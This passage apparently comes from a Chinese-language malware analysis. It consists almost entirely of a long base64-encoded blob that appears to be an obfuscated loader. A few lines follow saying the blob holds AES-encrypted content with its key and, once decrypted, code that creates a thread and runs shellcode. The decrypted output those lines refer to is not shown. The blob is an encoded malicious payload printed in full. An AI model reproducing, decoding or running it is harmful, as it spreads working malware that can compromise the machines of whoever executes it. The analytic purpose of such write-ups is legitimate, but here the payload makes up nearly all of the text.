Z2RhWTdsaXFTRlZBZHhieTlCT0RkV3JVVXhQd2dWY3JkQScrYic9JyoobGVuKGInWUluUEFLcGdnN2wya2xFRXc0QnNjbkYrcE5aaE0xa3dTU3pHRUVydTdJVi9adGNvaEhubU55Ni9SVE4xWGtqU1QwRG1UTUJtMDZUUkRrS2c0OFNGR1kwQndYay9ZbzRPUm1LeG1GRlhVYXkzMVVmTDZnS2VTU3hiMXdtYkF3STRrbkh2ZnIrYWRiZWxmdzNaZEJCNG41c1BqL09PT3VwTldoU3lqRk1Hc2Y2RjFJRk5Uc01pMnpHT3ZPdk8wNXFjczVRMU05WlMzWmlrZHh4TU9ZWG5LcjMwZVZVamdnVE01djE1aWNXVmVEUHpreklIMjJOc1o3cWY1YnAvUGVCUnVzUUtnTkpNNUp0NXdwU0liTGJqeStLTHE4S09iVTFBa2s2b3JuWERMVmlvenRpUW85MmkwTW92U0J5NGpiWFFub0UvaHR3WVpRemNSVldSZUg0a0drYmNTSEhpM20xNEgwcUs1TlArR0lLb0RrMUtTbHBIb3NWRVRmLzZLQWIxdGlUbE5wcEwvNWN4OU1PT3FQZTJHWTI0S2pVVmMreVJJV0lmSE1Ed05SUFk1UDdnWWpDRkFsaDVqSFRLQnB3cUx1Wk83ZnBZVjF3aCsyNW9sSU42aVRuVkp0TjRzOXk5Q0NZSUJyRE40MTlJSGJaalZHSDlUbGNVRFNleml1QzZMVVFlMlRXbUp0bk8xVitCMHNBVVU1aXRkYnpHeWdjRXlGaWN4dnp6L040dXZONGpPelVxWmlTV3ZucGlpOGJsdWZiUFlRTEdWamdwdi95Wk9aNHUzRWhlYlVHY3o5bnF2RG1rdWxDOFVwZUpBaWRNczBwU1kxcFQvSmFWb2k2SHBkaDJmSWMyM3AvZWFkZFlKTkJQcHAxOFZpbDBLN1pneEUycjRVanQ5VW1jSlpWNXRoM2Jmb3E0WEZLTUpDcUozRTd2alUydnhPemF5OFlqS2dnREcrdXZqbFhqRG1uQXdSQ0d3SW5aOE5EN0ZlUFUyOS9Ta3VHM2hGMHV4MWI3QnpIUlV5bnJDWHcyZTExM2R1MGhlV25HUHlHK2JLclk3eDcvMFJpdjA4TUlmQnpad3BuKzlRdDRINVhLUXowZW9wMUdJUEJ5RFVpamQvVGtPbHZmQjVqbzNkeUduUDlhU2s3WGxiazFldDcyV1BYY1BLOHJxbDNjY2RValIrQmNXdEVJdHphZXJWS1lTUHVyQ0RRRVVtN2NFN05yaVphcTZjTnZ2Y3p2SUpOampxV3FHbnpISWcyNzhNTzhOdWsvaUQ5ZEYwUDZOREFLVDZKREpyRFIrZGNYd05Ea3l3eCtkOFdOWm9PRW1KT3hkWUFBTHAzNGZXSUF4WkFuTllSS1J5M3RPT2oyRUwrZWJlZEJPdkNRd1MzTlRuckE2c1FKdFcxbHAwdi9Cbmt2UWtaaWg3Mnl1TjU3amZ3RkVwMDhlVGZDcm9kYlR5bjkza3dDZE1tbzBkUEhSN2dESkJZNXJDK1R3dFpVRnVyL1F3OFc5TmU2TWw0aWFzcjg5enZDL1ZEMUdLQW00aVNZTEdid3dzU0hmdENtRWhieE1aZnJ3UHhVaVJtais1RW9yS1JnU3d6WTBocEV3VlYvNVBuM2lvaUZGcG9neTZQTkVUK3FlaXFVeTUybTBYSW5kTnIxZmdEelhqSEJHTk54RlU5U3RuSG43TDUzcWIrSVk2S1JsYkk5TzdqbG1kaDJmSnBHK29UUVhuSWI3dlhKZ1gzbFRLc3g4Z1ViNU5wM0RRVGhIU0RvNTJTYktZdVQ5RllwYWpFRFJtclF5OCtnazdnUVh4bmQ2TXhRc0ltV2ZZMWM0ZDNOTXVKN1BVQ0szWWVGWmMwTldGQ3c3NXJTS2ZFNGJyckEyNngvbzhzVmc1QzF1cUdueTkxckZYTUZOVjhrKzZYcVh0TkVFOURtMnVQQ2RZNm96TCtwcnVScVg4ajA4aS9IK2srSWlUc1VJdGZCTmxKNmFIM2kzK0o4cTdMd1JYOEF4dFozQ3g5MGI1TlRjdkx4ZUdaYXdJUU8yNkllbHFuQmxOTXlicUpXSHg0TzgvbG1GMm1URmJvQy93OGtieU5hRkl6V3VJTUxqQSthaThUMkIyazNyRkZ1VXM5ck1QMy9jV24zQ3h5OUZkLzdkY1ZaeTlOU3o3Y0NPRVlyZTZTUjlGZXQxc1VlbFVYSWFLTGRjblN6cE5vdlM1NE9ZeUFoUktua2hQMWM0bk1mQUdHcjI3NDQyOUtUajJiQis3RzVvbGllZ3Rmb0xYc1BDTHUrWWpPanArV2thZVZEMnFERHB1bmNoZHhWejRVaGJQRzJBc0VLbnFibmdrWUtuQmNkaE5IMjZnQzNML2FUd1IrYjZmN2RQZ1RDeWREOGMrQW9HUnlBcnJZL29vVDhIbEVlN1FTUWxMVC92U2hSeXZucmxpM0NsQUdjZ2g0ZisyYjlVWDdXWG9FREVoYkpTTWdqR0RXMkZWQW96c0psZnpMNklXNjB3anlXbW13M090NHJjdmU1Ky9HOE11b0h5YVZiamwxS3hObHFZVTAzNWhUM0FMb1hJNzdCdFg1TlZzVklwREZDalRzTGpqYWduZHFUZkZ4RGUwZHR1QnNaT0ptdWkvOVVCbVhQZEk2TFRob1NYNzZoL1pnQ2NpNmZ5YjZmSmp5eHBHbndsOTgvRUJqejFmNy92NEJBRks5eTN4OWhma3dBZVErcVFLRFZVdGpTdXJvdldQTXpYQm1uTUtwZGZkVEljZUQrT0pTMmpmcy9UQ3M5eHhTS0JJZDEvSGhIUlZyTlJDYWJ0Uk5La0lmbUswcXhWQXFLRXVqUTFNQStOZVNaTWVVSU1FRDI2ME52bThIcmQ1RHRaUDhMLytYbkZ1emZjbHk0N290VDdjbFEzaGpQVDVsOFBOb0JHcytaYzQ5QjY2VU5CbFowZFE5VWREbUQxOS9nd25OYzZwd1g1WnZRRWFycTJ0a1V0d2hnVzUvbUg5MU14eCthdzdySGRXVlFtV2E3TTlzclUybWlka0NmQmNxYXJCRnJnVTlsQXFkU1AwSEJ4MVhiRHJvS1dPbmtpWjd3OWwrc3I4dXpVRXRlcExLYkg3NnJ2TDloQ2F1RFBMUG5TVERuRkMzVHBhTkdUTDBRd08wMEl4K1BOcDFMOGlGUENSNzRSWmtDZS9vNmhPN0dRQWloTEpCbmczOTlYeGRLMXJrcXFwcWxKWGw5MGlUaWlmdHM3Yk0reVQxZW9QTDZsYkVDV0pXcXNwSGNnNEhRemdKM3VLSTIyWDdoanJ5aWV0U1Y2c2JpN21Felp1NTJxWUIrU3dwSjFEc203SzJHUlFFR2J6dEhuQnFmZ3VCM2MxODcyOW9zMEpseXBlSjM1L0ZBNFVhS0xHUHUvMkc2VlM4RkIwL0FxRGJrcGZpSUhjQi9nZmJtbW13Z08yaGtWdVp6OXUwME5mZkMvQTFqVUQxTFFUUGZCaWJTWUtYZWJ3b1VEK3h5YldKMUJodFBMazVZMFp1SUlzdHlzVCtCQ0VOSkREWURQSUlSVkdURk1ubmpuVTVOaGhYMWlmazRFZTY2THY1T21XY1FTdEMxOSt6NjZZUGRmZGRGaStLOUxCYTUxa1d1YUplSTFFOS93U0dzSU41VGhwTnoxbE1wcnkxeGtXZ3RoT0Y0a0FJd20vRVdaWVZHT1ZFb3A1YzZ0d1hGbzd2QzdxOTB0ZW9yQVpiVVRlQUV5Q1piNkhSamRsTjM1SzhNb2VKdGROYlAvQkF2UWppZ0NZVUVwTXBwckNlei9HTnFZeTBCZmpXdTdyYmRLQlRyODkxcllHWExnb2sxVU5hU2Jub3NuRmk4dHdRV3VFYlhOYW0xL2J2eUR5OHRiRFhXZGhucDBmNHFscWZZcVg0Sit1Z29VWCt3THlDN25iRXU1dEExeVBMQUlCWnNCY1hqcmMyaDNnZHRvb3E0aGU0dUl2NWh4c1hMOG85Y0xWY2ozNEtlUDJTdEt1VGxrNHEwK1pEd21BN3pKT2xwL2luTlppSS9kZ09UM1pFMGlOSEFqb3VQTzdHeitYTVVBdktWNEtWbEdzbmFnRi81RTRmMGFUdWNLK2hpa1A4RGRkYXdoZExMSSs1YU9keU1aRzBBT0hEQTNISUhnMUdmNXpFTmZwMkpuNzZ4SXpsWklJcXhwYzlzWElPNzJGS29yWE90Vko5R3orOC95V2w0NTNGZWVkT1BXRXYxcGlGT24xaWovaFcxQlBzTVJydU11V01lWWxDSjliWXR4OCsybTg4SStVNW11ME1nV1ZmOFcvQVpNc2pLS3duOEtrTjViYnk0cFdXR0pCWDVZQVpDcjlzZ3dmMXU3SktDQ3FtN2RLMU5YTDBPS1AxQ0tLWCtUTmJidkpXVGRCVnhtL3h4Z2hZeTNoTDRleUEwWWc1Y3AyWEtyL0lERkZISXBVbEpHMXg1TjlHMmVlK0lBSE9TRUxUMFFlSjR6TU9LRTBGVmxBckRvQU85My9VdVdmTGdSNEY3RUFaT0dHQmxMaXhwa3BRZERHYlc4elVHWmhYVVluQUJxRFZiL2pVN2lTZ0hqaGh3Sm04MjNnUmZacEFNeWx3c0dVR1dZN1c1ZjhrNndBU1lCYTR0b0NIZ2ttL2FIZ3lXZzlEeFQwSjNnNkMrQ3dTYkpzSFloRGNyMnhsTHE3U0padTJRbkVpODB3bjA1K3ExbitWVzdjd01Nb2V6Z25FNVpqQ090VStrOGowS1h3alRpRGtGaVFYdmY0aU8rcVFPNHVxelF6eTBhaEVkcWRCcDhWZDNxVHRSYStMTzhML3BNcnBzMVRVS1FndFhYNlBIWlhTT3ZCeCtNWlhjMUJYWUN6QlAvckhRbElnbmtWMzBpQkprTHN3YWtwcnZJbGdQcFV0VnRKdWJaRXQ5N08wTEtGSGY1RnpETTFiOTNiZk11UzBGVWEwT2JYQUROVFJmOVFJUUJxR0lmaWZoVkVOcWVub0RKZks0eHpDTHhBZ3prdlMwRFhLWUpzMTRzNWZWeDRoY01EMFg0L1lyZ1VKdU53RmtpMm40c091dkFaQlBNU3FHSFpMc0NLSnVOZUkwdGJUT2FncmtUWXViVFZvZWZGMGRwR2t2ZWRWODVrREdHWldrR0JnV1JQL0xWWUNWWEFwVmtpUGdVU2JLR1drcFhYamI5Mk5DNHByV3gyeWNEaW1GNXB2cU5Za1FsenBsZCs4bTBIbVQxVFp3b3VIZkZJVHAvRnlZT3J1VjB3M2RMdTBoY2dVbWk0YTlFa2lqaVJxaGtTNzRobWV3cFdxQVB4VGVlSW9WWnlhV3lRN2oxbms4Y3FBNklFUmM4WDQ5V3lXaE1mVldSdUhpY1VQS2k0RXhzV3FuZHZHc0pXZVJjbVY0dXE2QW05cEhHb3V2SkVTL2NMSnhnMm5sa3pQQTIvK2RQakQ1Z2Z2UkU1TEU1Mm4wMXZQTXZNa2k3RWtFcGxJRGZxM3lSTkIwNjNuUG1zVDhMVEd1cFVod09EdTYyK0NJYWFjdlVUdzdUWkxLUWEwamZJc2p0VGFCM05xQXpBYVBkY3l0M1Z0WXpXMmF4c25tcXU3Y0lzZlV6Rm5IRStEZEszcHovMVZTdUlFYTEwVjdCUEhXbWlraUVSblpKNlpUTU1CVkRmTE1BQVBaRTkvM0RLcit0QzluSVFtZFlFbjQ1a3M4L1poUU5TbXBZeWdKSjA2ei95R1NZMWpmV2E2MFQrTC9CQzc1ZVhrbzNPR0JXa0JTRFdLa2VqSHlVQktBeGhjRkdxQS9EN0JpMnNKSjZkL2w0UWludjhpMFl3TWJ2eHlYeHlhMDd5NlI0TVVYb2pBRzdWaTlVZVUzNmNZbkdnMFBhRHlJeUdsSGYxcnVLZ3lvaVZXQTc4K2k4MzJscnRGZ2hjazU0aU5HckhHdDdDVGlMcloyS3MwN2tuSWdpM1cwVjlwUXdLZmVGT08yMnhxVTZ5QTBybTE1RG5xaGd3U2JkTzNqdzNHNTBoc1QvSTlNb0RYbEZsTWxPMXpscmRsNGtTK2ErL2JlUHR6czdydE9sbko2bzEyeEpUM2pkcnIxN0hmYmlIYUVYOEFUREVxVE9ZRENPMUJETmVxWVdTbS9oNkVKSEpSd1JuSDR0TDFmOUt4M3BhSEpEaU0xME1jVmRvMWFFcW1TdzdIN1hvcW9INXlVaWMrWU5QeHNaQnFkSExHK0UxUEZsQXlUVUx2SElYQU12c2FoMnVnalB0VURzZ3ZSNDdBbzBKUFJ4aG1CQ1dVYmh5S0IwbUFvRFpWL1pmS0d3cDVlZFVqYmdPZmZpYjdmV0RrK3JjUkowTERyRGhtRks4OWhvZnVSUytMOGtmdWhkd1I2RmVqWFp5bStiZnBvWlVzWU03OTJraTNITkdhaHpNNDJDRzg5UVQrQkhvVnhFVHhETGNabXNiQ1A3Z3hSU3FoUjF0bkpZTlFJZzg2RWlzUys5Mk1lcWlheGxtRjhyQTNwMTVhMEJxYkkvbHg1cVFINVNreldyMVZnSmZhQ2dGd1pzazRPUGFnc25GVk5aZm5acDBMQmxWTy9GRExwRWRuM2F2Q0trQklIK0FyeWJ6ejlWZURhZTBGbEdQVFZSWnRnM2tDQWEraGRzeURnM0JJQ2ZQSHNNMDFBNFNEMFRCYTNKTGdreXFTNHIyME92WGNVcktwMm0rb0cxSThuUy9McFAwMGsvb0FMcVNJb2hFNDVrMTljSXByT01USXdzSngzV1BIYlhYdFpVUU13VjNXaUxsUnRTaTZ6Sm1EaXJlckF0ZzUzSHJGY1hiQk5rYUg0SXV4NVFnR3drbndwcTQrNUVYbkRGK1hXelJXMmM1bVc2YXdVVllzWE1DOFpSenR0WjkrOHkrWDRoam9CdGtWcnd0M2l0RHBvQk5USVFsZ3g3TmpnVWhhdnhSU2ZlMHo0dHV4WVJSQkJBYXV4SGNwVkVFRkZiWlh3cEZ0OFU3QzEyTndwMSt2OVM4WklOdG5uTzY5elhHMmh0czAxMjJZWUI1WmYvSUI4QWl0bHBkM0NCc20wSzY3U1drbWxtVkxyUmJJMjZnOWFWUzdibXZrZ09HR29wRENQWDA2WCtwNjN3QU00WmZJTExVN0dPTG5qZVl1RWpPdStDWVBBaTVrVXVMZFNvNEJFdVpkam1YazgzUm1jaWNqMFFRNGVXRjNuZGl4M3VpNkRaM1VWUTVBU0FhcVVOVlBxaThoOC93dmtUeWlhelBjZ3dyOUxUaTlwbHdHMHhZcmF1bkduTDRuWlpldHBJTGVhdHdVSTNiVTNTVytFbVRvaHlCVnZwRGhsdWk5SEdTT0xRZGM1SFBOaC9LKzNVVkgzTkdvUE55VWl3MTgrcUJkTTErT0dwMW1EOENXUU9BT3MzUk9pQzBLa29QMjBDUGwreEVFaER2V2hucEJoSnZJYWk1eGIvNmpoRnJvOEtGaGdTZHlteVFGY1JUTjByUEJFY2xaN3dhN2MzcGs0OTZ5VGZkSy93aTQwakFoSWRIVnpGa01jT2U0ZDF4SUlUM2RvUDdxQnRza2srV3ZHQ3BUZjM2Y1I0MEs4WHN3Y080dGVsbFlybFlVenZZZW83Z1hjM3BZQ1FMbzhDelVKOVE1dHRtR0cwVE9ZeFROVksxSHE4eUc0R29GMkZneTFvRk1ZWXhFNlBkWGpqdGJUcTcvcVRJYlNxU0RXcjFqb2FXTFNZQ2JwM1hkb1lRQ1RqdWtsVlJ1UHVxVTB4eWJkK2xtazhHcjZaQUpZM1F1dC84d2VZRFNzamw4SGt5ZVljbVJaK0VwV2FlRXJhem45b0E2QmtBR1ZhSXZHUStEK0ZXMURpRkVObEx1b2pKb3MycGFmYzladGVUM0NxeDB6eEdiUFFGUHNreHVIdEp4MFRrM0VKTFhoUHBNN0ZkTTMzQTVXQmNxT0xjOVlRbnNWSEFUWFhPeG9ieXFBYk8za0JrcFhDQ3RqUVkzdUwvZEJRbUtsNFdGZXZlMWtORGVKbHBIbDNISWFjSmNUZEdkNTZaVldHK0R1ZmVwV3U1RHQvclZkWUdQTVIyWDh4TFZENWo1U2VLc1JXQUZ6cGtvZ1ZoTjRrNEJpbTlFMWxhMVNISlR4b3pielU1c2RZMzNJRFdjOE94THRnN1hVMnVOS3dZRlhDaEtEd01vN1FlSVBlMkxERnNJTHRjQnc0RVNoNUJSNDE0UjI0bGV2NHJPWmNzby9mSFlhakVUREtqZXNhVkc3Y1o2OFptN2pwMmlsY2xKelRUQTZwcEJURUo2cmp2SlBoWG9nSTRKdDNrOXM1cDJZMCtJTmJlKzVpV1BsazMxUnRwOE1XQ0luYWpDQnViSHdIMERvUGtIeDQzQ2pNeTE1TVVSQ1R3UkNnUjlkSEVlSTdBOG1WR1RJZHhqa1dUQlozQlJCYmkrS1UwUnVjOU5tV1hER2hTS25mQTlLaWZqVHdxeG9mbkMxZHRDbGR2aEtveHZLSm5CejdzYm9mZE04Mkhnc1NFM3BKUU1NRHJXS2RLaWJRRVZ2S3ZNb3ZBemQwbWcyNEtEaWNzYXFXU2ZtdjZmYnhxK1ZLVTlsbCtqZ3BVYkh0TkRueWJoR0tmRmJpWUFwb2VZZHZXRVJ5SHhKczl4MFFneWtWMXpKbEk4UUhJR2hQeG8vUFBmNU5ZaXlYOFFWTkZMTjhCMjU3V1hQN3VzaEEzckdlaTIySG1hQ1JlRkt2d1V1bWNMdFQ2UmtodGY0YXdmVURsWjlja1VSTkdnc3dTNHZ0aUR0TWc1aitocS9WVC9DZUU3T2pFcWwzR1RtQWFLUnRuZEJKeU0ybUR2RUNTQU5lWUd3dFJlUzFaem03WThrYWJDbHppdXRLb2MwYUxRMEFlL0x5ZVpmYUdjV01YWnBZUjZpN3VCMVdBL1Jqb1UyQ3VyLzIxSjhMaHZTV1NSTmhxa3V6dmxaSVJBTnZKL0tyN2J5RHRUWHU1UExGYVZ5eHEyNUc3YitkY0ZsMEZwS3l0R2l2cXFhOTZnek1UWVJTdGpla01HVDJlWDRhb3hhRnhVcUM4VzdnbHdic0p3bXlZTFMycEtpcXk0ME1kT0xOMXlFZjkwSC9uams4T3BHV0VBQUJncXFzdkJMejB6aWxweXc3VlgyUlVTcjZMdVNPOGRSMFF4R2c5dW5aQVRuOFVuMkQzMXZRK0hHdTQyeTNsaHJmbFRxTDlUTmk5THU5b3pHU2dLaDVVNVVhTElsYmxiSktENUtCUnZsVis5WS8yakorZHBIZGtBQkxtNGdmTGVwcjBHSzRmWXNIZUdsYW14TGFNSHl4UFVxVGk2RjkybTBhSHZFbzFLNnRGamIzcXQ5b01xL1FncEt3SkJ6ZWJvZFRDZWVHTzdWNFJydXBGdWdMT2w4TXo5Nll3Ull1cXZVU2JsaSt2RVVvcEE3TkkwV2hxREY5V2loZWpEZXVhVThGcXBMTDBUTlhFMEsvUnpMQXQ4cncraWxQZzdIcFJhUmRRRmtjN1hZUStEZjg1MFdhSDZ3bEVpaEI0RWE4N0JtRnV5eW9rZHR2bTd0Mlp3NUZVZVF6S0xsekNjL281dFRQMUZPNXVwSCs0bFRNZFd1R2hrUmphUUd4aEhXNmdGTlVXd2Y1dWJZZmpSc29WSk1VZDZxeExRTVZWYmZZZFJLVk5FM0Q1bWNaZ2pFd1ErNzZvWEdGVW1SUjJQQ0hKL3FEWW10ckhVVUpvT3NrRGJ2aFlJUXdvYnlReFhsSUN5ZGNpVWhVbUNsVjBsTjhFWU9Pcm9jeXJBK3NIVE9NSWxSOHFsdU5sTEVKRS80Tk5jWW1HUHNXTHlVSDBLYWlVSnRBN3M2VmxHQ25tN2hTUFBMY2NKVUhIV2xjSlpyL05scCtuaXFWUFFibzUyblM2UnIzZDFqblJNRWdKVWY4MThIL3l1U1RLRmtZeW5YVmF1OVBvQ3h4dVQ1OWwvb2Q3K0tIOHBlKzhGVk9XdHhLUk5qcWx1RnJSRkFxTVRGUkt4RUF4ZUErQnIxRlVhY2EweFpKeGpPK2JRWHNFdDliMk1WZmx2MWlTcFZUODBjNEN2RVFFdEpRMS80M2xNZGxOMEE5eGdwUG0zQWtRQnBoQnNFQ2NLbm9KU2kzUU9iY2JZbk5XUUFiZm85b2lVTXhCRElWcHZORm9zZkFiNmdsbWh2ZjlJNzV4ekdzR2J1YzFPQVZyYnVXUW03Sm9BenZWT1hUdml1dFFvbWVPMHhBckRNTHh5aU9vRCtpMUNleFh2c3RrdDIrVGhpQUtQMjczRnViMzc4aXp5dVdZK0toSE9jQmdGSFB1aDYrZGxNdE1MRU5BT2pwV0ZxSHNicXlyMlgrazBESjhJK1dtMkNzMHJ2QXBIbXZydVMvU2FKWlQ1QWhqeG8ycHNkWWxxZ1FzRXNDQUlFajZjMHJVOWNaZlRHTTNBZDZnOExoTHpPWnYyT0w3RlBtOEZJd0RQZWowQURzUzM2WVNLSXA3aVNkMHZ2Wmc5T1ZPQkUyZXJ0TUhRMWNhSTcxQkg2MXhNYjJOTmM2QlF0d3pySnFHbmV5QWc5cy8wNXNLNkdKWFdCT3lMbFVxcGFoOGlISy84dGF2SmhsblhGSFFZMnNYRkc1QUVlK29ZL3BVVS80RHNpRUlXdkZJc0NIUm1YNlJrWnZyMGQvYWxwMkVzM1lzZzZJQjlyVjZ5S1FZZndHY202SUthUER4VmhHODR4VStmekNpME1sdkhNdmFvbDdtT3g5RkJlYzBxUGF4d0VVd1hsZjI5cTUyTWxXdC81YS9qYmJoWGVzeWJNVmNmbytDM3JGT2pncjhaUkNJLzV2Zk9XM3ZOb0JnL2N4TmxFbU1OcmUyQ2t3WnFpdmpzVW1VYXA2Wm54N25sUEI0NS9Lb2lnYWNHUlFvUmFTekxkVmFOOW8yc0tLcmZOWHhCTHY3QTh4MFNjaHM0eWhYM1pFVXVZY3RDRmlTVVVVaDg1RWVycnlETU93OXhkNmJmRkhTS3E4RDRTWXoycWhmMzRDNzZPd3A2M2tUUVRpM0F2b3FBV3lmbXBsOWJLeWxCUU5nT2ExUS9ZVi96amhySDRwVHdHZVdyanVQTEVac0pnL3Bqc2lXOTArRFNkcXlYZUdBL1NIanh0WW56cG8zcEcwQzMzTUkvbFZvZFoyNFhsWHJDTXdwTFJ5WTNqL2pKRnUvQXFjSWtSa3A3RG4zOHU0bFhBU3J2eUNjZWE3elhpb1NKcFdBVjVzaDdwNFdaNmUvdTFDdEd4NTBTNFNvd2E1cUlYUHNTT0krQi84M3JuazQ3TW1Fa2dxM1NGeW9waWUyMVdFcHFvS0RndUdtZ0pLR2RFVGc5N3R1cGpSNit6Tkp0b0QzbXB4aC9haU52cHRRWkx4dm5VK0dieXlEQjA0YkRkRzJGUllSSS95Qnp6dHdPVFpUdk5aVmVBVER4VnBUWXg5SjhHNW8xc1BlN3RoSmc2cjF2dlVaWVVreHlsMDlhTHZpaTNYYy9zM0V4UGVHcnRPWjIrQVpqY09WY2tJc0R3MzhzSUVjaDBiUDhZWWMvcTNHWEdEbkpOdyt4RmZVZ2JBZm9jZWJQWHY1c3VaMlJ5QlBqZnh6ekIybmUwSGdGRFZUb1NJMWR1bjkvelQzQVo0UmNmaHVkckt1d2M5ak1iNDlwY04wOEFyUFkyb2ZLTmNMWkt4RElmSmlRS1gwSjF2VmZuMzlpUGF3VWZtVmdXakhNTGZ6ZWw2R3RvYUQzUmo0MENOMGVuVDZQZVE5NGFsdGNEUVBPakZnamZBSG9VUlp5S0dBWFpqQnlJdGt4THNoN0hzZGdVb3U0KzMwRDFEUWdCRkRjMmpISkFkR1U0VklLaDJPb1pJZ08vcGcvZEc1OEJsMUVRZThMUGtCM2ZFcm9iNFlJRVZlM0UzRXJsaE93UjhjZWFVaVFrYzI2cnRtd3VuaHVNQzhMakM3SkxVNzJrTEJUZHVVcWQ1dm1od0RrOGlZeENzeGV2SWwrVmdualdSYVZKZmdMYngvdHpvZXBWZ0E2aTVFVFZrWjhEZ2ROZW1RbWF4Q3gzYVhRVkVSSk1DeFIzZjdvVyt3Uk9lMjZuTlA4dmpRMzJwWS9RK216d2FGT3ZDZ1NwQkw1YnFXUXAwQlFkSnlxRnNDYS9NWENuN2YrUnpZNi9XaUtNVFozUjBCaGxSdDFOR0hSMXdXdm8vNEZaVzMrVVQxYTA2dWV3RlVxVGhVNUh1VkpBdTVCS3BCRHBKbEFJZ29tZVVEMm1HMzNKWEFvQnVVUGZRWE8vL3hndWJ2NjFyNWNmVHhTdzhGbGlrUnJ6SHRQaGdkYVk3bGlxU0ZWQWR4Ynk5Qk9EZFdyVVV4UHdnVmNyZEEnKSU0KSkpLnJzdHJpcChiJ1wwJykpKZSFlFKULg==

此处很明显出现了aes加密内容以及加密秘钥等,所以对此进行解密可得如下结果:

在解码出来的内容中可看到创建线程并执行shellcode的相关代码,

文档信息

Search

    Table of Contents